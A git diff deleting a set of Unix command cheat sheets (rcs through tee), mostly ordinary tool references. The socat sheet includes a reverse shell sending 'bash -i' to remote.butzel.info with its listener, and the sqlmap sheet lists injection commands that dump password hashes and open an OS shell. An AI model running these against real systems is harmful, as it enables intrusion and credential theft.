- - + Dump 1M with at several hits - - [0x00000000]> b 1M - [0x00000000]> wt @@ hit0* - - + Automate it - - $ for a in dump.* ; do - sz=`rabin2 -Z $a` # get RBin.filesize - r2 -wnqc"r $sz" $a # resize file - done - - http://radare.today/posts/carving-bins/ - -# r4ge - symbolic execution - + https://github.com/gast04/r4ge - - Usage: https://asciinema.org/a/155856 - -# r2wiki -Macro for using wiki in commandline - - + https://github.com/securisec/r2wiki - - $wiki "query string" - diff --git a/cheat/cheatsheets/rcs b/cheat/cheatsheets/rcs deleted file mode 100644 index 2e41a5f..0000000 --- a/cheat/cheatsheets/rcs +++ /dev/null @@ -1,26 +0,0 @@ -# Initial check-in of file (leaving file active in filesystem) -ci -u - -# Check out with lock -co -l - -# Check in and unlock (leaving file active in filesystem) -ci -u - -# Display version x.y of a file -co -px.y - -# Undo to version x.y (overwrites file active in filesystem with the specified revision) -co -rx.y - -# Diff file active in filesystem and last revision -rcsdiff - -# Diff versions x.y and x.z -rcsdiff -rx.y -rx.z - -# View log of check-ins -rlog - -# Break an RCS lock held by another person on a file -rcs -u diff --git a/cheat/cheatsheets/readline b/cheat/cheatsheets/readline deleted file mode 100644 index ef82e1a..0000000 --- a/cheat/cheatsheets/readline +++ /dev/null @@ -1,49 +0,0 @@ - Moving around -Ctrl-b Move the cursor one character ⇦ to the left -Ctrl-f Move the cursor one character ⇨ to the right -Alt-b Move the cursor one word ⇦ to the left -Alt-f Move the cursor one word ⇨ to the right -Ctrl-a Move the cursor ⇤ to the start of the line -Ctrl-e Move the cursor ⇥ to the end of the line -Ctrl-x-x Move the cursor ⇤⇥ to the start, and to the end again - - Cut, copy and paste -Backspace Delete the character ⇦ to the left of the cursor -DEL -Ctrl-d Delete the character underneath the cursor -Ctrl-u Delete everything ⇤ from the cursor back to the line start -Ctrl-k Delete everything ⇥ from the cursor to the end of the line -Alt-d Delete word ⇨ until before the next word boundary -Ctrl-w Delete word ⇦ until after the previous word boundary -Ctrl-y Yank/Paste prev. killed text at the cursor position -Alt-y Yank/Paste prev. prev. killed text at the cursor position - - History -Ctrl-p Move in history one line ⇧ before this line -Ctrl-n Move in history one line ⇩ after this line -Alt-> Move in history all the lines ⇩ to the line currently being entered -Ctrl-r Incrementally search the line history ⇧ backwardly -Ctrl-s Incrementally search the line history ⇩ forwardly -Ctrl-J End an incremental search -Ctrl-G Abort an incremental search and restore the original line -Alt-Ctrl-y Yank/Paste arg. 1 of prev. cmnd at the cursor position -Alt-. -Alt-_ Yank/Paste last arg of prev. cmnd at the cursor position - - Undo -Ctrl-_ -Ctrl-x -Ctrl-u Undo the last editing command; you can undo all the way back to an empty line -Alt-r Undo all changes made to this line -Ctrl-l Clear the screen, reprinting the current line at the top -Ctrl-l Clear the screen, reprinting the current line at the top - - Completion -TAB Auto-complete a name -Alt-/ Auto-complete a name (without smart completion) -Alt-? List the possible completions of the preceeding text -Alt-* Insert all possible completions of the preceeding text - - Transpose -Ctrl-t Transpose/drag char. before the cursor ↷ over the character at the cursor -Alt-t Transpose/drag word before the cursor ↷ over the word at/after the cursor diff --git a/cheat/cheatsheets/rename b/cheat/cheatsheets/rename deleted file mode 100644 index 909842c..0000000 --- a/cheat/cheatsheets/rename +++ /dev/null @@ -1,5 +0,0 @@ -# Lowercase all files and folders in current directory -rename 'y/A-Z/a-z/' * - -# Replace 'sometext' with 'replacedby' in all files in current directory -rename 's/sometext/replacedby/' * diff --git a/cheat/cheatsheets/rm b/cheat/cheatsheets/rm deleted file mode 100644 index 2a8fc02..0000000 --- a/cheat/cheatsheets/rm +++ /dev/null @@ -1,8 +0,0 @@ -# Remove files and subdirs -rm -rf path/to/the/target/ - -# Ignore non existent files -rm -f path/to/the/target - -# Remove a file with his inode -find /tmp/ -inum 6666 -exec rm -i '{}' \; diff --git a/cheat/cheatsheets/route b/cheat/cheatsheets/route deleted file mode 100644 index 5997ebd..0000000 --- a/cheat/cheatsheets/route +++ /dev/null @@ -1,29 +0,0 @@ -# To display routing table IP addresses instead of host names: -route -n - -# To add a default gateway: -route add default gateway 192.168.0.1 - -# To add the normal loopback entry, using netmask 255.0.0.0 and associated with the "lo" device (assuming this device was previously set up correctly with ifconfig(8)). -route add -net 127.0.0.0 netmask 255.0.0.0 dev lo - -# To add a route to the local network 192.56.76.x via "eth0". The word "dev" can be omitted here. -route add -net 192.56.76.0 netmask 255.255.255.0 dev eth0 - -# To delete the current default route, which is labeled "default" or 0.0.0.0 in the destination field of the current routing table. -route del default - -# To add a default route (which will be used if no other route matches). All packets using this route will be gatewayed through "mango-gw". The device which will actually be used for that route depends on how we can reach "mango-gw" - the static route to "mango-gw" will have to be set up before. -route add default gw mango-gw - -# To add the route to the "ipx4" host via the SLIP interface (assuming that "ipx4" is the SLIP host). -route add ipx4 sl0 - -# To add the net "192.57.66.x" to be gateway through the former route to the SLIP interface. -route add -net 192.57.66.0 netmask 255.255.255.0 gw ipx4 - -# To install a rejecting route for the private network "10.x.x.x." -route add -net 10.0.0.0 netmask 255.0.0.0 reject - -# This is an obscure one documented so people know how to do it. This sets all of the class D (multicast) IP routes to go via "eth0". This is the correct normal configuration line with a multicasting kernel -route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0 diff --git a/cheat/cheatsheets/rpm b/cheat/cheatsheets/rpm deleted file mode 100644 index 63227bc..0000000 --- a/cheat/cheatsheets/rpm +++ /dev/null @@ -1,31 +0,0 @@ -# To install a package: -rpm -ivh - -# To remove a package: -rpm -e - -# To remove a package, but not its dependencies -rpm -e --nodeps - -# To find what package installs a file: -rpm -qf - -# To find what files are installed by a package: -rpm -ql -rpm -qpl - -# To find what packages require a package or file: -rpm -q --whatrequires -rpm -q --whatrequires - -# To list all installed packages: -rpm -qa - -# To find a pkg's dependencies -rpm -i --test - -# Display checksum against source -rpm -K - -# Verify a package -rpm -V diff --git a/cheat/cheatsheets/rpm2cpio b/cheat/cheatsheets/rpm2cpio deleted file mode 100644 index c1ec783..0000000 --- a/cheat/cheatsheets/rpm2cpio +++ /dev/null @@ -1,5 +0,0 @@ -# List contents of RPM -rpm2cpio foo.rpm | cpio -vt - -# Extract contents of RPM -rpm2cpio foo.rpm | cpio -vid \ No newline at end of file diff --git a/cheat/cheatsheets/rss2email b/cheat/cheatsheets/rss2email deleted file mode 100644 index 5d5cc77..0000000 --- a/cheat/cheatsheets/rss2email +++ /dev/null @@ -1,21 +0,0 @@ -'rss2email -- converts rss feeds and emails them to your inbox' - -# List all feeds -r2e list - -# Convert RSS entries to email -r2e run - -# Add a new feed -r2e add - -# Add a new feed with new email address -r2e add [newemail address] - -# Delete a feed -r2e delete <# of feed in list/> - -# Help -r2e -h - - diff --git a/cheat/cheatsheets/rsync b/cheat/cheatsheets/rsync deleted file mode 100644 index 22b5ea9..0000000 --- a/cheat/cheatsheets/rsync +++ /dev/null @@ -1,17 +0,0 @@ -# To copy files from remote to local, maintaining file properties and sym-links (-a), zipping for faster transfer (-z), verbose (-v). -rsync -avz host:file1 :file1 /dest/ -rsync -avz /source host:/dest - -# Copy files using checksum (-c) rather than time to detect if the file has changed. (Useful for validating backups). -rsync -avc /source/ /dest/ - -# Copy contents of /src/foo to destination: - -# This command will create /dest/foo if it does not already exist -rsync -auv /src/foo /dest - -# Explicitly copy /src/foo to /dest/foo -rsync -auv /src/foo/ /dest/foo - -# Copy file from local to remote over ssh with non standard port 1234 to destination folder in remoteuser's home directory -rsync -avz -e "ssh -p1234" /source/file1 remoteuser@X.X.X.X:~/destination/ diff --git a/cheat/cheatsheets/sam2p b/cheat/cheatsheets/sam2p deleted file mode 100644 index 9d5f9f9..0000000 --- a/cheat/cheatsheets/sam2p +++ /dev/null @@ -1,2 +0,0 @@ -# Concatenate all pdf files into one: -sam2p *.pdf out.pdf diff --git a/cheat/cheatsheets/scd b/cheat/cheatsheets/scd deleted file mode 100644 index 88b4b3c..0000000 --- a/cheat/cheatsheets/scd +++ /dev/null @@ -1,20 +0,0 @@ -# To index recursively some paths for the very first run: -scd -ar ~/Documents/ - -# To change to a directory path matching "doc": -scd doc - -# To change to a path matching all of "a", "b" and "c": -scd a b c - -# To change to a directory path that ends with "ts": -scd "ts$" - -# To show selection menu and ranking of 20 most likely directories: -scd -v - -# To alias current directory as "xray": -scd --alias=xray - -# To jump to a previously defined aliased directory: -scd xray diff --git a/cheat/cheatsheets/scp b/cheat/cheatsheets/scp deleted file mode 100644 index aaf866f..0000000 --- a/cheat/cheatsheets/scp +++ /dev/null @@ -1,8 +0,0 @@ -# To copy a file from your local machine to a remote server: -scp foo.txt user@example.com:remote/dir - -# To copy a file from a remote server to your local machine: -scp user@example.com:remote/dir/foo.txt local/dir - -# To scp a file over a SOCKS proxy on localhost and port 9999 (see ssh for tunnel setup): -scp -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" file.txt username@example2.com:/tmp/ diff --git a/cheat/cheatsheets/screen b/cheat/cheatsheets/screen deleted file mode 100644 index cc2d3e4..0000000 --- a/cheat/cheatsheets/screen +++ /dev/null @@ -1,11 +0,0 @@ -# Start a new named screen session: -screen -S session_name - -# Detach from the current session: -Press Ctrl+A then press d - -# Re-attach a detached session: -screen -r session_name - -# List all screen sessions: -screen -ls diff --git a/cheat/cheatsheets/sed b/cheat/cheatsheets/sed deleted file mode 100644 index 93bc163..0000000 --- a/cheat/cheatsheets/sed +++ /dev/null @@ -1,23 +0,0 @@ -# To replace all occurrences of "day" with "night" and write to stdout: -sed 's/day/night/g' file.txt - -# To replace all occurrences of "day" with "night" within file.txt: -sed -i 's/day/night/g' file.txt - -# To replace all occurrences of "day" with "night" on stdin: -echo 'It is daytime' | sed 's/day/night/g' - -# To remove leading spaces -sed -i -r 's/^\s+//g' file.txt - -# To remove empty lines and print results to stdout: -sed '/^$/d' file.txt - -# To replace newlines in multiple lines -sed ':a;N;$!ba;s/\n//g' file.txt - -# Insert a line before a matching pattern: -sed '/Once upon a time/i\Chapter 1' - -# Add a line after a matching pattern: -sed '/happily ever after/a\The end.' diff --git a/cheat/cheatsheets/shred b/cheat/cheatsheets/shred deleted file mode 100644 index 3962082..0000000 --- a/cheat/cheatsheets/shred +++ /dev/null @@ -1,13 +0,0 @@ -# To shred a file (5 passes) and verbose output: -shred -n 5 -v file.txt - -# To shred a file (5 passes) and a final overwrite of zeroes: -shred -n 5 -vz file.txt - -# To do the above, and then truncate and rm the file: -shred -n 5 -vzu file.txt - -# To shred a partition: -shred -n 5 -vz /dev/sda - -# Remember that shred may not behave as expected on journaled file systems if file data is being journaled. diff --git a/cheat/cheatsheets/shutdown b/cheat/cheatsheets/shutdown deleted file mode 100644 index 52e914e..0000000 --- a/cheat/cheatsheets/shutdown +++ /dev/null @@ -1,8 +0,0 @@ -# Reboot the system immediately -shutdown -r now - -# Shut system down immediately -shutdown -h now - -# Reboot system after 5 minutes -shutdown -r +5 diff --git a/cheat/cheatsheets/slurm b/cheat/cheatsheets/slurm deleted file mode 100644 index 125af9a..0000000 --- a/cheat/cheatsheets/slurm +++ /dev/null @@ -1,15 +0,0 @@ -# Submit a new job: -sbatch job.sh - -# List all jobs for a user: -squeue -u user_name - -# Cancel a job by id or name: -scancel job_id -scancel --name job_name - -# List all information for a job: -scontrol show jobid -dd job_id - -# Status info for currently running job: -sstat --format=AveCPU,AvePages,AveRSS,AveVMSize,JobID -j job_id --allsteps diff --git a/cheat/cheatsheets/smbclient b/cheat/cheatsheets/smbclient deleted file mode 100644 index 4231fd8..0000000 --- a/cheat/cheatsheets/smbclient +++ /dev/null @@ -1,5 +0,0 @@ -# To display public shares on the server: -smbclient -L -U% - -# To connect to a share: -smbclient /// -U% diff --git a/cheat/cheatsheets/snap b/cheat/cheatsheets/snap deleted file mode 100644 index 3d0429a..0000000 --- a/cheat/cheatsheets/snap +++ /dev/null @@ -1,98 +0,0 @@ -# To find the `foo` snap: -snap find foo - -# To view detailed information about snap `foo`: -snap info foo - -# To view all private snaps (must be logged in): -snap find --private - -# To install the `foo` snap: -sudo snap install foo - -# To install the `foo` snap from the "beta" channel: -sudo snap install foo --channel=beta - -# To view installed snaps: -snap list - -# To list all revisions of installed snaps: -snap list --all - -# To (manually) update all snaps: -sudo snap refresh - -# To (manually) update the `foo` snap: -sudo snap refresh foo - -# To update the `foo` snap to the "beta" channel: -sudo snap refresh foo --channel=beta - -# To revert the `foo` snap to a prior version: -sudo snap revert foo - -# To revert the `foo` snap to revision 5: -snap revert foo --revision 5 - -# To remove the `foo` snap: -sudo snap remove foo - -# To log in to snap (must first create account online): -sudo snap login - -# To log out of snap: -snap logout - -# To view a transaction log summary: -snap changes - -# To view details of item 123 in the transaction log: -snap change 123 - -# To watch transaction 123: -snap watch 123 - -# To abort transaction 123: -snap abort 123 - -# To download the `foo` snap (and its assertions) *without* installing it: -snap download foo - -# To install the locally-downloaded `foo` snap with assertions: -snap ack foo.assert -snap install foo.snap - -# To install the locally-downloaded `foo` snap without assertions: -# NB: this is dangerous, because the integrity of the snap will not be -# verified. You should only do this to test a snap that you are currently -# developing. -snap install --dangerous foo.snap - -# To install snap `foo` in "dev mode": -# NB: this is dangerous, and bypasses the snap sandboxing mechanisms -snap install --devmode foo - -# To install snap `foo` in "classic mode": -# NB: this is likewise dangerous -snap install --classic foo - -# To view available snap interfaces: -snap interfaces - -# To connect the `foo:camera` plug to the ubuntu core slot: -snap connect foo:camera :camera - -# To disconnect the `foo:camera` plug from the ubuntu core slot: -snap disconnect foo:camera - -# To disable the `foo` snap -snap disable foo - -# To enable the `foo` snap -snap enable foo - -# To set snap `foo`'s `bar` property to 10: -snap set foo bar=10 - -# To read snap `foo`'s current `bar` property: -snap get foo bar diff --git a/cheat/cheatsheets/snmpwalk b/cheat/cheatsheets/snmpwalk deleted file mode 100644 index 90c86ea..0000000 --- a/cheat/cheatsheets/snmpwalk +++ /dev/null @@ -1,5 +0,0 @@ -# To retrieve all of the variables under system for host zeus -snmpwalk -Os -c public -v 1 zeus system - -# To retrieve the scalar values, but omit the sysORTable for host zeus -snmpwalk -Os -c public -v 1 -CE sysORTable zeus system diff --git a/cheat/cheatsheets/socat b/cheat/cheatsheets/socat deleted file mode 100644 index 939141f..0000000 --- a/cheat/cheatsheets/socat +++ /dev/null @@ -1,37 +0,0 @@ -# socat connect to http-server (port 80 on 'butzel.info') -socat TCP4:butzel.info:80 - - -# connect to https-server (port 443 on 'butzel.info' with tls) -socat openssl:butzel.info:443 - - -# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions -socat -x tcp-listen:3180,fork - - -# practical examples: - -# complete real working http-example: -# (sleep is necessary to prevent socat closing socket before data received) -(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \ -| socat tcp4:butzel.info:80 - - -# http to httpS 'Proxy' (for an webserver without TLS-Support) -socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80 - -# port forwarding (e.g. own port 3180 to port 22(ssh) on target -socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh - -# TOR-forwarding (needs tor-daemon on port 9050 running) -socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050 - -# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200) -socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200 - -# udp to tcp -socat -u udp-recvfrom:1234,fork tcp:localhost:4321 - -# reverse shell: -socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180 - -# listener for above reverse shell (on remote.butzel.info): -socat file:`tty`,raw,echo=0 tcp-listen:3180 -# or: nc -lp 3180 diff --git a/cheat/cheatsheets/sockstat b/cheat/cheatsheets/sockstat deleted file mode 100644 index 21594fd..0000000 --- a/cheat/cheatsheets/sockstat +++ /dev/null @@ -1,2 +0,0 @@ -# To view which users/processes are listening to which ports: -sudo sockstat -l diff --git a/cheat/cheatsheets/sort b/cheat/cheatsheets/sort deleted file mode 100644 index 4c243ba..0000000 --- a/cheat/cheatsheets/sort +++ /dev/null @@ -1,11 +0,0 @@ -# To sort a file: -sort file - -# To sort a file by keeping only unique: -sort -u file - -# To sort a file and reverse the result: -sort -r file - -# To sort a file randomly: -sort -R file diff --git a/cheat/cheatsheets/split b/cheat/cheatsheets/split deleted file mode 100644 index 8ffd1f3..0000000 --- a/cheat/cheatsheets/split +++ /dev/null @@ -1,8 +0,0 @@ -# To split a large text file into smaller files of 1000 lines each: -split file.txt -l 1000 - -# To split a large binary file into smaller files of 10M each: -split file.txt -b 10M - -# To consolidate split files into a single file: -cat x* > file.txt diff --git a/cheat/cheatsheets/sport b/cheat/cheatsheets/sport deleted file mode 100644 index f3963cd..0000000 --- a/cheat/cheatsheets/sport +++ /dev/null @@ -1,32 +0,0 @@ -# Sync to newest SlackBuild.org tree -sport r - -# Search (fuzzy) SlackBuild tree for packages foo and BaR -sport s foo bar - -# Operate from alternate build tree -SBOPATH=/path/to/tree sport s foo - -# View info and README of BaR (not fuzzy) -sport c foo BaR - -# Build a package -sport i --build-only foo - -# Build and install package foo and BaR -sport i foo BaR - -# Build and install package from current directory -sport i . - -# Upgrade instead of install -INSTALLER=upgradepkg sport i foo - -# Build dependency list for baz -echo "foo BaR" >> /tmp/baz.list - -# Install list of packages from file -sport i $(< /tmp/baz.list) - -# Check if package is installed -sport k foo diff --git a/cheat/cheatsheets/sqlite3 b/cheat/cheatsheets/sqlite3 deleted file mode 100644 index dc306f3..0000000 --- a/cheat/cheatsheets/sqlite3 +++ /dev/null @@ -1,23 +0,0 @@ -# create database and launch interactive shell -sqlite3 example.db - -# create table -sqlite3 example.db "CREATE TABLE Os(ID INTEGER PRIMARY KEY, Name TEXT, Year INTEGER);" - -# insert data -sqlite3 example.db "INSERT INTO 'Os' VALUES(1,'Linux',1991);" - -# list tables -sqlite3 example.db ".tables" - -# describe table -sqlite3 example.db ".schema 'Os'" - -# view records in table -sqlite3 example.db "SELECT * FROM 'Os';" - -# view records in table conditionally -sqlite example.db "SELECT * FROM 'Os' WHERE Year='1991';" - -# view records with fuzzy matching -sqlite3 ~/example.db "SELECT * FROM 'Os' WHERE Year like '19%';" \ No newline at end of file diff --git a/cheat/cheatsheets/sqlmap b/cheat/cheatsheets/sqlmap deleted file mode 100644 index 92287c5..0000000 --- a/cheat/cheatsheets/sqlmap +++ /dev/null @@ -1,45 +0,0 @@ -# Test URL and POST data and return database banner (if possible) -./sqlmap.py --url="" --data="" --banner - -# Parse request data and test | request data can be obtained with burp -./sqlmap.py -r - -# Fingerprint | much more information than banner -./sqlmap.py -r --fingerprint - -# Get database username, name, and hostname -./sqlmap.py -r --current-user --current-db --hostname - -# Check if user is a database admin -./sqlmap.py -r --is-dba - -# Get database users and password hashes -./sqlmap.py -r --users --passwords - -# Enumerate databases -./sqlmap.py -r --dbs - -# List tables for one database -./sqlmap.py -r -D --tables - -# Other database commands -./sqlmap.py -r -D --columns - --schema - --count -# Enumeration flags -./sqlmap.py -r -D - -T - -C - -U - -# Extract data -./sqlmap.py -r -D -T -C --dump - -# Execute SQL Query -./sqlmap.py -r --sql-query="" - -# Append/Prepend SQL Queries -./sqlmap.py -r --prefix="" --suffix="" - -# Get backdoor access to sql server | can give shell access -./sqlmap.py -r --os-shell diff --git a/cheat/cheatsheets/ss b/cheat/cheatsheets/ss deleted file mode 100644 index 8925108..0000000 --- a/cheat/cheatsheets/ss +++ /dev/null @@ -1,18 +0,0 @@ -ss -Utility to investigate sockets - -Args --4/-6 list ipv4/ipv6 sockets --n numeric addresses instead of hostnames --l list listing sockets --u/-t/-x list udp/tcp/unix sockets --p Show process(es) that using socket - -# show all listing tcp sockets including the corresponding process -ss -tlp - -# show all sockets connecting to 192.168.2.1 on port 80 -ss -t dst 192.168.2.1:80 - -# show all ssh related connection -ss -t state established '( dport = :ssh or sport = :ssh )' diff --git a/cheat/cheatsheets/ssh b/cheat/cheatsheets/ssh deleted file mode 100644 index 8049902..0000000 --- a/cheat/cheatsheets/ssh +++ /dev/null @@ -1,46 +0,0 @@ -# To ssh via pem file (which normally needs 0600 permissions): -ssh -i /path/to/file.pem user@example.com - -# To connect on an non-standard port: -ssh -p 2222 user@example.com - -# To connect and forward the authentication agent -ssh -A user@example.com - -# To execute a command on a remote server: -ssh -t user@example.com 'the-remote-command' - -# To tunnel an x session over SSH: -ssh -X user@example.com - -# Redirect traffic with a tunnel between local host (port 8080) and a remote -# host (remote.example.com:5000) through a proxy (personal.server.com): -ssh -f -L 8080:remote.example.com:5000 user@personal.server.com -N - -# To launch a specific x application over SSH: -ssh -X -t user@example.com 'chromium-browser' - -# To create a SOCKS proxy on localhost and port 9999 -ssh -qND 9999 user@example.com - -# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999 -ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" username@example2.com - -# -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish -ssh user@example.com -C -c blowfish -X - -# For more information, see: -# http://unix.stackexchange.com/q/12755/44856 - -# Copy files and folders through ssh from remote host to pwd with tar.gz compression -# when there is no rsync command available -ssh user@example.com "cd /var/www/Shared/; tar zcf - asset1 asset2" | tar zxf - - -# Mount folder/filesystem through SSH -# Install SSHFS from https://github.com/libfuse/sshfs -# Will allow you to mount a folder securely over a network. -sshfs name@server:/path/to/folder /path/to/mount/point - -# Emacs can read file through SSH -# Doc: http://www.gnu.org/software/emacs/manual/html_node/emacs/Remote-Files.html -emacs /ssh:name@server:/path/to/file diff --git a/cheat/cheatsheets/ssh-copy-id b/cheat/cheatsheets/ssh-copy-id deleted file mode 100644 index 604c824..0000000 --- a/cheat/cheatsheets/ssh-copy-id +++ /dev/null @@ -1,8 +0,0 @@ -# To copy a key to a remote host: -ssh-copy-id username@host - -# To copy a key to a remote host on a non-standard port: -ssh-copy-id username@host -p 2222 - -# To copy a key to a remote host on a non-standard port with non-standard ssh key: -ssh-copy-id ~/.ssh/otherkey "username@host -p 2222" diff --git a/cheat/cheatsheets/ssh-keygen b/cheat/cheatsheets/ssh-keygen deleted file mode 100644 index 739527f..0000000 --- a/cheat/cheatsheets/ssh-keygen +++ /dev/null @@ -1,20 +0,0 @@ -# To generate an SSH key: -ssh-keygen -t rsa - -# To generate a 4096-bit SSH key: -ssh-keygen -t rsa -b 4096 - -# To update a passphrase on a key -ssh-keygen -p -P old_passphrase -N new_passphrase -f /path/to/keyfile - -# To remove a passphrase on a key -ssh-keygen -p -P old_passphrase -N '' -f /path/to/keyfile - -# To generate a 4096 bit RSA key with a passphase and comment containing the user and hostname -ssh-keygen -t rsa -b 4096 -C "$USER@$HOSTNAME" -P passphrase - -# To print the fingerprint of a public key -ssh-keygen -lf /path/to/keyfile - -# To print the Github-style (MD5) fingerprint of a public key -ssh-keygen -E md5 -lf /path/to/keyfile diff --git a/cheat/cheatsheets/stdout b/cheat/cheatsheets/stdout deleted file mode 100644 index bff788a..0000000 --- a/cheat/cheatsheets/stdout +++ /dev/null @@ -1,5 +0,0 @@ -# To redirect stderr to stdout: -some-command 2>&1 - -# To redirect stderr to a file -some-command 2> errors.txt diff --git a/cheat/cheatsheets/strace b/cheat/cheatsheets/strace deleted file mode 100644 index 8ae4b41..0000000 --- a/cheat/cheatsheets/strace +++ /dev/null @@ -1,24 +0,0 @@ -# Basic stracing -strace - -# save the trace to a file -strace -o strace.out - -# follow only the open() system call -strace -e trace=open - -# follow all the system calls which open a file -strace -e trace=file - -# follow all the system calls associated with process -# management -strace -e trace=process - -# follow child processes as they are created -strace -f - -# count time, calls and errors for each system call -strace -c - -# trace a running process (multiple PIDs can be specified) -strace -p \ No newline at end of file diff --git a/cheat/cheatsheets/su b/cheat/cheatsheets/su deleted file mode 100644 index dec7bcc..0000000 --- a/cheat/cheatsheets/su +++ /dev/null @@ -1,2 +0,0 @@ -# Switch to another user account -su USERNAME diff --git a/cheat/cheatsheets/svn b/cheat/cheatsheets/svn deleted file mode 100644 index 8e2bf7a..0000000 --- a/cheat/cheatsheets/svn +++ /dev/null @@ -1,20 +0,0 @@ -# update working copy from repository -svn update "/path" - -# show changed files in working copy -svn status - -# show what changed in local file -svn diff "/path/filename" - -# add files or folders -svn add "path/item" - -# revert local uncommited changes -svn revert "/path/file" - -# commit changes to repo -svn commit -m "message" "/path" - -# show help for 'svn diff' -svn help diff diff --git a/cheat/cheatsheets/systemctl b/cheat/cheatsheets/systemctl deleted file mode 100644 index 932540c..0000000 --- a/cheat/cheatsheets/systemctl +++ /dev/null @@ -1,36 +0,0 @@ -# List all loaded/active units -systemctl list-units - -# Check the status of a service -systemctl status foo.service - -# Start a service -systemctl start foo.service - -# Restart a service -systemctl restart foo.service - -# Stop a service -systemctl stop foo.service - -# Reload a service's configuration -systemctl reload foo.service - -# Enable a service to startup on boot -systemctl enable foo.service - -# Disable a service to startup on boot -systemctl disable foo.service - -# List the dependencies of a service -# when no service name is specified, lists the dependencies of default.target -systemctl list-dependencies foo.service - -# List currently loaded targets -systemctl list-units --type=target - -# Change current target -systemctl isolate foo.target - -# Change default target -systemctl enable foo.target diff --git a/cheat/cheatsheets/systemd b/cheat/cheatsheets/systemd deleted file mode 100644 index ff56eb5..0000000 --- a/cheat/cheatsheets/systemd +++ /dev/null @@ -1,18 +0,0 @@ -# Display process startup time -systemd-analyze - -# Display process startup time at service level -systemd-analyze blame - -# List running units -systemctl list-units - -# Load a unit at startup -systemctl enable foo.service - -# Start or Stop a unit -systemctl foo.service - -# Unit file locations -/etc/systemd/system -/usr/lib/systemd/system diff --git a/cheat/cheatsheets/tail b/cheat/cheatsheets/tail deleted file mode 100644 index 7b9a4dc..0000000 --- a/cheat/cheatsheets/tail +++ /dev/null @@ -1,14 +0,0 @@ -# To show the last 10 lines of file -tail file - -# To show the last N lines of file -tail -n N file - -# To show the last lines of file starting with the Nth -tail -n +N file - -# To show the last N bytes of file -tail -c N file - -# To show the last 10 lines of file and to wait for file to grow -tail -f file diff --git a/cheat/cheatsheets/tar b/cheat/cheatsheets/tar deleted file mode 100644 index 41173b2..0000000 --- a/cheat/cheatsheets/tar +++ /dev/null @@ -1,34 +0,0 @@ -# To extract an uncompressed archive: -tar -xvf /path/to/foo.tar - -# To create an uncompressed archive: -tar -cvf /path/to/foo.tar /path/to/foo/ - -# To extract a .gz archive: -tar -xzvf /path/to/foo.tgz - -# To create a .gz archive: -tar -czvf /path/to/foo.tgz /path/to/foo/ - -# To list the content of an .gz archive: -tar -ztvf /path/to/foo.tgz - -# To extract a .bz2 archive: -tar -xjvf /path/to/foo.tgz - -# To create a .bz2 archive: -tar -cjvf /path/to/foo.tgz /path/to/foo/ - -# To extract a .tar in specified Directory: -tar -xvf /path/to/foo.tar -C /path/to/destination/ - -# To list the content of an .bz2 archive: -tar -jtvf /path/to/foo.tgz - -# To create a .gz archive and exclude all jpg,gif,... from the tgz -tar czvf /path/to/foo.tgz --exclude=\*.{jpg,gif,png,wmv,flv,tar.gz,zip} /path/to/foo/ - -# To use parallel (multi-threaded) implementation of compression algorithms: -tar -z ... -> tar -Ipigz ... -tar -j ... -> tar -Ipbzip2 ... -tar -J ... -> tar -Ipixz ... diff --git a/cheat/cheatsheets/tcpdump b/cheat/cheatsheets/tcpdump deleted file mode 100644 index 0011635..0000000 --- a/cheat/cheatsheets/tcpdump +++ /dev/null @@ -1,63 +0,0 @@ -# TCPDump is a packet analyzer. It allows the user to intercept and display TCP/IP -# and other packets being transmitted or received over a network. (cf Wikipedia). -# Note: 173.194.40.120 => google.com - -# Intercepts all packets on eth0 -tcpdump -i eth0 - -# Intercepts all packets from/to 173.194.40.120 -tcpdump host 173.194.40.120 - -# Intercepts all packets on all interfaces from / to 173.194.40.120 port 80 -# -nn => Disables name resolution for IP addresses and port numbers. -tcpdump -nn -i any host 173.194.40.120 and port 80 - -# Make a grep on tcpdump (ASCII) -# -A => Show only ASCII in packets. -# -s0 => By default, tcpdump only captures 68 bytes. -tcpdump -i -A any host 173.194.40.120 and port 80 | grep 'User-Agent' - -# With ngrep -# -d eth0 => To force eth0 (else ngrep work on all interfaces) -# -s0 => force ngrep to look at the entire packet. (Default snaplen: 65536 bytes) -ngrep 'User-Agent' host 173.194.40.120 and port 80 - -# Intercepts all packets on all interfaces from / to 8.8.8.8 or 173.194.40.127 on port 80 -tcpdump 'host ( 8.8.8.8 or 173.194.40.127 ) and port 80' -i any - -# Intercepts all packets SYN and FIN of each TCP session. -tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0' - -# To display SYN and FIN packets of each TCP session to a host that is not on our network -tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0 and not src and dst net local_addr' - -# To display all IPv4 HTTP packets that come or arrive on port 80 and that contain only data (no SYN, FIN no, no packet containing an ACK) -tcpdump 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' - -# Saving captured data -tcpdump -w file.cap - -# Reading from capture file -tcpdump -r file.cap - -# Show content in hexa -# Change -x to -xx => show extra header (ethernet). -tcpdump -x - -# Show content in hexa and ASCII -# Change -X to -XX => show extra header (ethernet). -tcpdump -X - -# Note on packet maching: -# Port matching: -# - portrange 22-23 -# - not port 22 -# - port ssh -# - dst port 22 -# - src port 22 -# -# Host matching: -# - dst host 8.8.8.8 -# - not dst host 8.8.8.8 -# - src net 67.207.148.0 mask 255.255.255.0 -# - src net 67.207.148.0/24 diff --git a/cheat/cheatsheets/tee b/cheat/cheatsheets/tee deleted file mode 100644 index f2de805..0000000 --- a/cheat/cheatsheets/tee +++ /dev/null @@ -1,8 +0,0 @@ -# To tee stdout to a file: -ls | tee 